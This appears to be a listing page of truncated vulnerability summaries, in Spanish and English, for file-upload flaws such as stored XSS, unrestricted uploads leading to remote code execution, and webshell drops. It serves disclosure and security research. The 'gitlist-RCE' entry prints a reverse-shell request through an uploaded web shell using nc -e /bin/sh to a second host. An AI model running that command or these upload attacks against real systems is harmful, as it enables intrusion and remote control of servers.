CVE-2025-63830

📂 CKFinder 1.4.3 – Cross-Site Scripting XSS Almacenado mediante Carga de SVG Malicioso CVE ID: CVE-2025-63830 🧭 Resumen Se identificó una vulnerabilidad de Cross-Site Scripting XSS almacenado en CKFinder v1.4.3. El problema reside en la funcionalidad de carga de archivos , que no sanitiza...

RCE-Simplephpblog-biggiedroid

CVE-2025-15495 - Carga Arbitraria de Archivos que Conduce a Ejecución Remota de Código RCE Producto BiggiDroid – Simple PHP Blog CMS Página del producto: https://biggidroid.com/product/simple-php-blog/ Tipo de Vulnerabilidad Carga Arbitraria de Archivos Carga de Archivos sin Restricciones Ejecuci...

ClearML-CVE-2024-24590

/ | | | / | | | \ / \ / | | | | | | \ / | | | | | | | | | | | | |/ / | '| |/| | | | /| | | | | | || | / | | | | | | | | | | | || | | |||,|| || ||| || / | - 2024-24590 x OxyDe PoC de Subida de Artefacto Pickle a ClearML Este proyecto demuestra cómo subir dinámicamente un artefacto pickle a...

CVE-2024-1247-PoC

CVE-2024-1247-PoC Plugin Post Saint -...

CVE-2026-101158

A missing input validation vulnerability in the Fileserver upload API allows an authenticated attacker with file upload privileges to execute stored cross-site scripting XSS. Successful exploitation could enable the attacker to hijack another CloudVision user's web session, potentially granting...

EUVD-2026-93944

A missing input validation vulnerability in the Fileserver upload API allows an authenticated attacker with file upload privileges to execute stored cross-site scripting XSS. Successful exploitation could enable the attacker to hijack another CloudVision user's web session, potentially granting...

CVE-2026-101158 Security Advisory 0185

A missing input validation vulnerability in the Fileserver upload API allows an authenticated attacker with file upload privileges to execute stored cross-site scripting XSS. Successful exploitation could enable the attacker to hijack another CloudVision user's web session, potentially granting...

CVE-2026-101158

A missing input validation vulnerability in the Fileserver upload API allows an authenticated attacker with file upload privileges to execute stored cross-site scripting (XSS) . Successful exploitation could enable an attacker to hijack another CloudVision user's web session , potentially resulti...

CVE-2026-101158 Security Advisory 0185

A missing input validation vulnerability in the Fileserver upload API allows an authenticated attacker with file upload privileges to execute stored cross-site scripting XSS. Successful exploitation could enable the attacker to hijack another CloudVision user's web session, potentially granting...

nuclei-template-cve-2025-31324-check

SAP CVE-2025-31324 Check Resumen Esta plantilla está diseñada para comprobar la presencia de la vulnerabilidad SAP NetWeaver CVE-2025-31324. Esta vulnerabilidad permite a usuarios no autorizados subir archivos JSP a través del endpoint /developmentserver/metadatauploader, lo que puede derivar en...

CVE-2026-5364

CVE-2026-5364 CVE-2026-5364 es una vulnerabilidad de carga de archivos arbitraria no autenticada con CVSS 8.1 High en Drag and Drop File Upload for Contact Form 7 CVE-2026-5364 — CF7 Drag & Drop File Upload RCE Carga de archivos arbitraria no autenticada mediante bypass desanitizefilename CVSS 8....

CVE-2021-21972

CVE-2021-21972 VMware vSphere Client Unauthorized File Upload to Remote Code Execution RCE The vSphere Web Client HTML5 is essentially an administrative interface that enables management of a vSphere installation. The vSphere Client provides an administrator with access to the key functions of...

CVE-2026-70376

CVE-2026-70376 — Pluck CMS Site-wide CSRF → RCE Fail-open Referer check + no CSRF tokens + double-extension upload A single admin page-visit deletes content, injects pages, and drops a webshell At a glance · Summary · Root cause · Attack chain · Exploit · Remediation · Timeline 📋 At a glance |...

CVE-2026-105868

Payload is a free and open source headless content management system. In versions before 3.90.0 and canary versions before 4.0.0-canary.34, local upload configurations that accept XML files can store an XML file and stylesheet that execute JavaScript in the Payload origin when a logged-in user...

CVE-2026-105861

Payload is a free and open source headless content management system. In versions after 3.0.0 and before 3.90.0, authenticated external URL-based upload retrieval can forward authentication data to a redirected destination that was not verified as trusted, potentially exposing a valid session to ...

magento-upload-auto-submit-zoneh

magento-upload-auto-submit-zoneh CVE-2025-54236 ⚠️ DESCARGO DE RESPONSABILIDAD ⚠️ ¡ADVERTENCIA CRÍTICA! Esta herramienta fue creada exclusivamente para: ✅ Fines educativos e investigación en seguridad ✅ Pruebas de penetración autorizadas ✅ Evaluaciones de seguridad en sistemas de tu propiedad ✅...

gitlist-RCE

gitlist-RCE CVE-2014-4511 ejemplo: after shell upload successfully: access: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2025-31324-File-Upload

CVE-2025-31324-File-Upload Un endpoint de carga de archivos totalmente no autenticado en Visual Composer permite a cualquiera subir archivos arbitrarios por ejemplo, un web-shell JSP al servidor. Herramienta de prueba de concepto para verificar y explotar la vulnerabilidad de carga de archivos no...

CVE-2026-105868 Payload: Uploaded XML files could execute same-origin JavaScript

Payload is a free and open source headless content management system. In versions before 3.90.0 and canary versions before 4.0.0-canary.34, local upload configurations that accept XML files can store an XML file and stylesheet that execute JavaScript in the Payload origin when a logged-in user...

CVE-2026-105868

The headless content management system Payload is vulnerable in versions before 3.90.0 and canary versions before 4.0.0-canary.34 . The root cause involves local upload configurations that permit the storage of XML files . An attacker can upload a malicious XML file and stylesheet that execute Ja...